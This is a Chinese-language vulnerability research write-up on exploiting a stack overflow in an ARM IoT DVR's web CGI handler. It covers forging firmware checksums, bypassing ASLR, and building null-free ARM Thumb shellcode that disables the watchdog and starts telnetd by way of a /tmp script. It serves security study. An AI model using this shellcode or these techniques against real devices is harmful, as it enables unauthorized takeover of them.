From Dvr to See Exploit of IoT Device

阅读量    71156 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

Author:0K5y && Larryxi @ 360GearTeam

# 0x00 前言

在万物互联的时代,IoT安全也逐渐被人们所关注。IoT设备在软件二进制方面的攻击面和传统PC端的二进制安全类似,但在架构上有所不同,如arm、mips、ppc等都会在日常的安全审计过程中有所接触。架构的不同也就反应在rop链和shellcode的构造,每一种架构下的指令集都是值得利用与玩味的。

本篇文章中主要介绍了针对某ARM IoT设备从漏洞挖掘到漏洞利用的整套思考与攻击链条,期望大家对IoT安全有所交流、学习和进步。

0x01 漏洞挖掘

环境前瞻

因为已经拿到对应设备的固件,所以不用再上下求索提取固件,binwalk解包后是个常见的squashfs 文件系统,分析可得出三个前瞻的结论:

  1. 其在/etc/init.d/S99中启动app相关服务,并将telnetd注释掉关闭了telnet接口。

  1. 其在/etc/passwd中保存的root密码为弱口令,在github可搜索到。
  2. 通过file /bin/busybox信息可得知其架构为armel。

根据上述信息,一般的攻击思路便是通过Web端命令注入或缓冲区溢出,开启系统的telnetd服务,再由root弱口令获取shell。

Web漏洞

该设备存在一个管理后台,开启burp抓包,发现了几个不痛不痒的问题:

  1. 存在未授权访问的页面,虽然在js中有重定向但burp中依旧可以看到对应页面的静态资源。
  2. 后台登录成功后会将身份信息保存在cookie中,并对所有动态资源的获取都通过url传递相关身份信息作为认证。
  3. 某些cgi也存在未授权访问,可得到相关配置文件,但无后台账号密码和内存布局等关键信息。
  4. 还有些cgi可以执行某些特定的指令如reboot,但限制得比较死,只能造成拒绝服务一类的攻击。

根据上述信息,可以推断常见的登录绕过、self-xss、csrf便没什么太大的作用了,命令注入相关的接口也没有找到,考虑从固件相关app binary逆向分析寻找漏洞点。

缓冲区溢出

我们通常会看和http相关的binary,毕竟http服务器和后端的处理代码是很大的一块攻击面。搜索cgi字符串可以找到对应的handler函数,其中有个提取url中query参数的函数,重命名为parse_url_query:

逆向可知,其从请求的url中提取对应的参数,返回一个结构体,第一个DWORD保存value pointer,第二个DWORD保存value length:

此处value的长度是我们可控的,那么在其父函数(图2)的120行和130行中直接把value的值strcpy至栈上的空间,这里就产生了经典的缓冲区溢出。查找parse_url_query的交叉引用,只要其后存在strcpy的操作,那么很大程度上也会是个溢出点。

 

0x02 调试环境

获取调试接口

有了溢出点,我们肯定迫不及待地想要去调试漏洞利用获取shell,但获取调试接口也是我们面临的一个问题:

  1. 没有找到命令注入,也就无法通过telnet执行命令上传gdbserver进行调试。
  2. 虽然设备上有明显的UART接口,但其输出的只是日志信息,没有提供系统shell。
  3. 尝试修改u-boot的init字段为/bin/sh,没有实际效果。

由于我们手上已有固件,观察到后台有升级固件的功能,自然想到去除对telnetd的注释,重新打包升级固件,就可以开启调试之旅了。

打包完固件之后更新固件,在串口的日志输出处可以看到如下错误:

可知需要修改md5, 打开固件在固件头附近可以看到如下md5值:

直接修改为计算之后的值即可。再次更新,可以看到如下报错,因为固件更改,导致该文件头中保存的块CRC校验错误:

可以在文件偏移0x22c处看到如下CRC校验值:5242,修改为 8582即可:

再次更新,由于修改了文件头,导致文件头的CRC校验报错:

在文件最开始处,可以看到文件头CRC校验值:ce4f,修改为0dea即可:

最后由于文件被修改,导致md5校验出错,再次修改md5值即可,不再赘述。

交叉编译环境

一开始使用github上下载的静态编译好的gdbserver-7.7.1-armel-eabi5-v1-sysv,在kali上配合gdb-multiarch(7.12)进行调试。应用程序对每个http请求都会create一个线程来处理,但在漏洞函数处下断点始终断不下来,还会出现莫名其妙的SIGSEGV错误。搜索得知调试的服务端和客户端的版本相近才比较靠谱。

遂搭建交叉编译环境,自己静态编译一个7.11版本的arm-linux-gnueabi-gdbserver。在ubuntu 14.04上安装gcc-arm-linux-gnueabi,下载gdbserver源码包,根据configure和Makefile静态编译即可,网上也有相关教程,不再赘述。

由此可在漏洞cgi_handler函数起始处断下:

 

0x03 漏洞利用

安全机制

在调试过程中系统会在短时间内重启,怀疑有watchdog的存在,通过串口日志和reboot字符串的搜索,定位watchdog为内核模块wdt,rmmod wdt卸载即可进行调试。综合可知该app进程和系统开启安全机制的情况如下:

  1. 没有GS保护。
  2. 主程序的栈空间和各个线程的栈空间都是可执行的。
  3. 系统的ASLR为1,uClibc的地址确实也会随机化。
  4. brk分配的堆地址范围不变,vectors段地址范围不变。
  5. watchdog以内核模块的形式存在,短时间内应用程序无响应便重启系统。

利用方案

根据静态或动态方法可以确定偏移,调试验证看看程序逻辑能不能无异常地走到最后,并覆盖到pc或lr寄存器。在函数返回前如约而至地迎来了异常,定位可知在图二中133行的v68和v69局部变量都会因为溢出被覆盖,然后便进入135行parse_url_query逻辑。

局部变量v62作为a1传入parse_url_query函数中,本为url的字符串指针但却被我们的溢出覆盖,最后在图三27行调用strcasestr函数时,产生了非法地址访问。只要对应偏移覆盖v62为我们可控的可读的内存地址,那么这个异常即可规避使parse_url_query返回-1,而且也不会进入漏洞函数的后续逻辑,最终能顺利地劫持pc了。

虽然系统开启了ASLR,地址是不可预期的,但仍可利用vectors段的固定地址进行strcasestr,即可来到对返回地址的覆盖:

因为strcpy的\x00截断和ASLR,首先考虑的是在app的代码段寻找gadget。因为有截断所以只能完成一次跳转,而且需要往回调执行栈上的shellcode,目前我们可控的寄存器只有r4、fp和pc,在代码段是无法找到这么完美的gadget。

其次考虑的是vectors内存段,其不受ASLR的影响而且没有截断的问题,如果有好的gadget也是能够跳转shellcode的,但实际上也收效甚微:

那不得不面对的就是绕过ASLR了:

  1. 信息泄露:几乎所有的调试日志输出只在串口上可见,http响应中也限制得比较死,没有在软件层面上找到可以输出信息泄露的有效点。
  2. 暴力破解:把程序一打崩watchdog就重启系统,暴力的方法也就没意义了。
  3. 堆喷:处理线程都是共享的heap,如果处理过程中有brk分配内存,那还是可以尝试一下堆喷的效果。

首先需要逆向一下处理http请求的过程。根据串口输出日志结合调试可知,在函数sub_25E2DC会生成线程调用函数sub_25DD6C来处理每一个请求。在sub_25DD6C中会接收0x400个字节判断该socket流属于什么协议:

具体可知判断HTTP协议只是依据开头的GET或POST字节:

然后动态调用函数指针处理HTTP请求:

在上图的45行可以看到,接收0x400字节的buf是由calloc函数分配的,但在判断完是HTTP协议后在65行立即释放了该堆内存空间。前后申请释放的间隔太短,实际使用20000线程也只能喷出6个堆块,可见在我们这个环境下使用多线程来进行堆喷是没有太大效果的。

上述思路都不通,还是回到漏洞环境,看看上下文有没有其他可借助的点。简单地尝试之后,发现在栈上保存的高地址指针正好指向我们socket传入的字节串:

山穷水尽溜一圈,那么经过两次的pop,即可劫持pc跳转至GET /cgi-bin/xxx.cgi?p=xxx HTTP/1.1\r\n执行了。这样只需要一次跳转的两次pop还是很好找的:

shellcode构造

猜想和调试验证可知,该程序已\r\n\r\n作为http头结束的标志,因此\x00会截断导致程序直接抛弃该请求:

既然是程序自身处理的HTTP请求,那么\x00\x0d\x0a\x20都会是badchar。GET需要凑一个字节如GETB构成nop指令即可。

所以就需要自己构造或者参考他人的例子构造shellcode。在构造之前,我们一般会写一个相同逻辑的c语言程序,静态编译看看能否在目标环境运行,再构建同等功能的shellcode:

#include <unistd.h>



int main(void) {

execve("/bin/sh", 0, 0);

return 0;

}

上述程序并没有获得如期的shell,调试后可知execve执行后的返回值为0xfffffffe即ENOENT,因为/bin/ls只是/bin/busybox的一个软链接,所以尝试使用busybox来执行命令就可以了:

 

#include <unistd.h>



int main(void) {

char* argv[] = {"busybox", "rmmod", "wdt"};

execve("/bin/busybox", argv, 0);

return 0;

}

生成shellcode有一个捷径可走就是直接调用pwnlib.shellcraft.thumb

 

 

/* execve(path='/bin/busybox', argv=['busybox', 'rmmod', 'wdt'], envp=0) */

/* push '/bin/busybox\x00' */

eor r7, r7

push {r7}

ldr r7, value_7

b value_7_after

value_7: .word 0x786f6279

value_7_after:

push {r7}

ldr r7, value_8

b value_8_after

value_8: .word 0x7375622f

value_8_after:

push {r7}

ldr r7, value_9

b value_9_after

value_9: .word 0x6e69622f

value_9_after:

push {r7}

mov r0, sp

/* push argument array ['busybox\x00', 'rmmod\x00', 'wdt\x00'] */

/* push 'busybox\x00rmmod\x00wdt\x00\x00' */

mov r7, #0x74

push {r7}

ldr r7, value_10

b value_10_after

value_10: .word 0x64770064

value_10_after:

push {r7}

ldr r7, value_11

b value_11_after

value_11: .word 0x6f6d6d72

value_11_after:

push {r7}

ldr r7, value_12

b value_12_after

value_12: .word 0xff786f62

value_12_after:

lsl r7, #8

lsr r7, #8

push {r7}

ldr r7, value_13

b value_13_after

value_13: .word 0x79737562

value_13_after:

push {r7}

/* push 0 */

eor r7, r7

push {r7} /* null terminate */

mov r1, #0x12

add r1, sp

push {r1} /* 'wdt\x00' */

mov r1, #0x10

add r1, sp

push {r1} /* 'rmmod\x00' */

mov r1, #0xc

add r1, sp

push {r1} /* 'busybox\x00' */

mov r1, sp

eor r2, r2

/* call execve() */

/* mov r7, #SYS_execve */

mov r7, #11 /* 0xb */

svc 0x41

将汇编代码转成机器码后包含了一个\x00字节,还是需要理解shellcode的逻辑,然后更改相关指令规避掉badchar:

 

eor.w r7, r7, r7     \x87\xea\x07\x07

push {r7}            \x80\xb4

ldr.w r7, [pc, #4]   \xdf\xf8\x04\x70

b #6                 \x01\xe0

0x786f6279           \x79\x62\x6f\x78  ybox

push {r7}            \x80\xb4

ldr.w r7, [pc, #4]   \xdf\xf8\x04\x70

b #6                 \x01\xe0

0x7375622f           \x2f\x62\x75\x73  /bus

push {r7}            \x80\xb4

ldr.w r7, [pc, #4]   \xdf\xf8\x04\x70

b #6                 \x01\xe0

0x6e69622f           \x2f\x62\x69\x6e  /bin

push {r7}            \x80\xb4

mov r0, sp           \x68\x46



mov r7, #0x74        \x4f\xf0\x74\x07  t

push {r7}            \x80\xb4

ldr.w r7, [pc, #4]   \xdf\xf8\x04\x70

b #6                 \x01\xe0

0x64770064           \x64\x00\x77\x64  d\x00wd

push {r7}            \x80\xb4

ldr.w r7, [pc, #4]   \xdf\xf8\x04\x70

b #6                 \x01\xe0

0x6f6d6d72           \x72\x6d\x6d\x6f  rmmo

push {r7}            \x80\xb4

ldr.w r7, [pc, #4]   \xdf\xf8\x04\x70

b #6                 \x01\xe0

0xff786f62           \x62\x6f\x78\xff  box\xff

lsl.w r7, r7, #8     \x4f\xea\x07\x27

lsr.w r7, r7, #8     \x4f\xea\x17\x27  box\x00

push {r7}            \x80\xb4

ldr.w r7, [pc, #4]   \xdf\xf8\x04\x70

b #6                 \x01\xe0

0x79737562           \x62\x75\x73\x79  busy

push {r7}            \x80\xb4



eor.w r7, r7, r7     \x87\xea\x07\x07

push {r7}            \x80\xb4

mov.w r1, #0x12      \x4f\xf0\x12\x01

add r1, sp, r1       \x69\x44

push {r1}            \x02\xb4

mov.w r1, #0x10      \x4f\xf0\x10\x01

add r1, sp, r1       \x69\x44

push {r1}            \x02\xb4

mov.w r1, #0xc       \x4f\xf0\x0c\x01

add r1, sp, r1       \x69\x44

push {r1}            \x02\xb4

mov r1, sp           \x69\x46

eor.w r2, r2, r2     \x82\xea\x02\x02

mov.w r7, #0xb       \x4f\xf0\x0b\x07

svc #0x41            \x41\xdf



1111

2222

3333

\x00\x00\x00\x00

busy

box\x00

romm

d\x00wd

t\x00\x00\x00

/bin

/bus

ybox

\x00\x00\x00\x00

这段shellcode总结下来有两个重要的特点:

  1. 读取pc寄存器可获取4字节数据,然后使用b指令越过数据部分。
  2. 通过左移右移来将某些字节置零。

借鉴以上思想,通过位移来优化一下其中的\x00字节:

 

1111

2222

3333

\x00\x00\x00\x00

wdt\xff

romm

d\x00\x00\x00

/bin

/bus

ybox

\x00\x00\x00\x00



eor.w r7, r7, r7     \x87\xea\x07\x07

push {r7}            \x80\xb4

ldr.w r7, [pc, #4]   \xdf\xf8\x04\x70

b #6                 \x01\xe0

0x786f6279           \x79\x62\x6f\x78  ybox

push {r7}            \x80\xb4

ldr.w r7, [pc, #4]   \xdf\xf8\x04\x70

b #6                 \x01\xe0

0x7375622f           \x2f\x62\x75\x73  /bus

push {r7}            \x80\xb4

ldr.w r7, [pc, #4]   \xdf\xf8\x04\x70

b #6                 \x01\xe0

0x6e69622f           \x2f\x62\x69\x6e  /bin

push {r7}            \x80\xb4

mov r0, sp           \x68\x46





mov.w r7, #0x64      \x4f\xf0\x64\x07  d

push {r7}            \x80\xb4

ldr.w r7, [pc, #4]   \xdf\xf8\x04\x70

b #6                 \x01\xe0

0x6f6d6d72           \x72\x6d\x6d\x6f  rmmo

push {r7}            \x80\xb4

ldr.w r7, [pc, #4]   \xdf\xf8\x04\x70

b #6                 \x01\xe0

0xff786f62           \x77\x64\x74\xff  wdt\xff

lsl.w r7, r7, #8     \x4f\xea\x07\x27

lsr.w r7, r7, #8     \x4f\xea\x17\x27  wdt\x00

push {r7}            \x80\xb4



eor.w r7, r7, r7     \x87\xea\x07\x07

push {r7}            \x80\xb4

mov.w r1, #0x4       \x4f\xf0\x04\x01

add r1, sp, r1       \x69\x44

push {r1}            \x02\xb4

mov.w r1, #0xc       \x4f\xf0\x0c\x01

add r1, sp, r1       \x69\x44

push {r1}            \x02\xb4

mov.w r1, #0x1d      \x4f\xf0\x1d\x01

add r1, sp, r1       \x69\x44

push {r1}            \x02\xb4

mov r1, sp           \x69\x46

eor.w r2, r2, r2     \x82\xea\x02\x02

mov.w r7, #0xb       \x4f\xf0\x0b\x07

svc #0x41            \x41\xdf

 

这一段执行execve是没有任何问题了,可是这里只是关闭了watchdog,我们还想做的是开启telnetd服务,后续就可以通过root弱口令获取系统shell了。开始时想使用两次execve分别执行rmmod wdt和telnetd,但exec调用后当前进程的内存被完全替换,也就无法进行第二次的execve了。

最终确定使用渗透中的常见套路,在/tmp目录下使用系统调用写一个shell脚本,空格可以使用${IFS}绕过,最后execve调用sh执行该文件,达到一种执行多条命令的效果:

 

#include <stdio.h>

#include <sys/types.h>

#include <sys/stat.h>

#include <fcntl.h>

#include <unistd.h>



void main() {

int fd = open("/tmp/XXX", O_CREAT | O_WRONLY, S_IRUSR | S_IWUSR);

write(fd, "rmmod${IFS}wdt;telnetd", 22);

close(fd);

}

 

完成利用

漏洞利用便是将上述结合起来,如图所示:

 

0x04 总结

  1. IoT设备上的安全防御手段和机制肯定会随着我们的聚焦而增强,也是一个有趣的挑战。
  2. 对于漏洞环境的审查还需要细致观察或者脚本化。
  3. 文中有所疏漏的地方还请师傅们不吝赐教。
  4. 有幸去了bluehat2019,IoT上的Fuzzing、高阶利用和输出积累是我个人需要提高的。
分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多